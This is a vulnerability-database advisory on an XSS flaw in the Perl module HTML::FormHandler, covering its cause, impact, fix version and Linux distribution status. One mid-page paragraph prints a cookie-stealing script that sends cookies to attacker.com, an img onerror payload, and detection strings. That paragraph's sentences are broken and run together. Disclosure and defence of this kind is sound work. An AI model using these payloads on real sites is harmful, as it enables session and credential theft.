
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-85485 is a Cross-Site Scripting (XSS) vulnerability in the Perl module HTML::FormHandler affecting all versions before 0.410002. The flaw exists because the Table form layout and Bootstrap 2 and 3 wrappers render form error messages directly into HTML output without escaping, allowing attacker-influenced content (such as rejected field values) to embed JavaScript in rendered pages. It was published on September 8, 2026, and represents an incomplete fix relative to CVE-2026-19872, which addressed the same issue in other layouts and wrappers. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, three locations in the codebase — HTML::FormHandler::Widget::Form::Table, HTML::FormHandler::Widget::Wrapper::Bootstrap, and HTML::FormHandler::Widget::Wrapper::Bootstrap3 — splice error strings directly into surrounding HTML markup without calling HTML::Entities::encode_entities(). An attacker can submit a form field value containing a JavaScript payload (e.g., <script>alert(1)</script>); when the server rejects the input and renders the error message, the unescaped payload executes in the victim's browser. The fix in version 0.410002 adds use HTML::Entities qw(encode_entities) and wraps all error strings with encode_entities() in the affected modules (GitHub Patch, GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to inject and execute arbitrary JavaScript in the browsers of users who view form error pages rendered by the affected layouts or wrappers. This can lead to session hijacking, credential theft, phishing, or unauthorized actions performed on behalf of the victim user. Confidentiality and integrity are both assessed as low impact, and availability is not affected, consistent with the CVSS score of 6.1 (GitHub Advisory).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.186–0.207%, placing it in the lower percentiles for exploitation likelihood. Exploitation requires user interaction (a victim must view the error page), and the attack is not automatable per NVD SSVC assessment (GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based payload like "><img src=x onerror=alert(1)>.<script>, onerror=, javascript:) in field values; outbound requests from victim browsers to attacker-controlled domains following form submission.<script, onerror, onload, or javascript: strings.The primary remediation is to upgrade HTML::FormHandler to version 0.410002 or later, which applies HTML::Entities::encode_entities() to all error messages in the Table layout and Bootstrap 2/3 wrappers (GitHub Patch, MetaCPAN Release). If immediate patching is not feasible, validate and sanitize all user-supplied input before it is included in error messages, and implement a strict Content Security Policy (CSP) header to restrict inline JavaScript execution on affected pages. OpenSUSE users should also monitor the distribution's security announcement list for updated packages (GitHub Advisory).
The vulnerability was disclosed via the oss-security mailing list and picked up by standard vulnerability tracking services including VulDB, OSV, and Tenable (Nessus plugin 343916). OpenSUSE issued a security announcement for the affected package. No notable researcher commentary or significant social media discussion has been observed beyond routine CVE tracking (GitHub Advisory).
Fix availability across major Linux distributions and their releases.
bookworm
libhtml-formhandler-perl
sid
libhtml-formhandler-perl: 0.410002-1
trixie
libhtml-formhandler-perl
bionic (esm-apps)
libhtml-formhandler-perl
devel
libhtml-formhandler-perl
focal (esm-apps)
libhtml-formhandler-perl
jammy
libhtml-formhandler-perl
jammy (esm-apps)
libhtml-formhandler-perl
noble
libhtml-formhandler-perl
noble (esm-apps)
libhtml-formhandler-perl
resolute
libhtml-formhandler-perl
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."